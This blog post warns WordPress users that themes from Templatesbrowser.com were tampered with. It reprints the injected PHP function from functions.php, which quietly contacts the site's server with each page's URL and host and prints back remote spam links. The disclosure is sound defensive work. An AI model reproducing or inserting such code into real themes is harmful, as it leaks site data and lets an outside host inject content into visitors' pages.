Phishing Site Confirmed - Templatesbrowser.com

Who downloaded Worpdress themes from Templatesbrowser.com please remove it. Templatebrowser altered original themes by inserting hidden spam links.
In 10 minutes ago, Templatesbrowser.com is gone! Removed eh? Afraid eh?
I downloaded (Not so) Fresh theme from there. What i found? Templatesbrowser.com put spam link code in the functions.php file.
function credits()
{
$url = “http://1.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(”1.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
I strongly recommend that you download directly from the original authors website.

@Myo Kyaw Htun - Spam link to increase pagerank (PR). if google find out that your blog contains link spam, you risk being punished. That’s mean that your website will be remove from google search result pages.
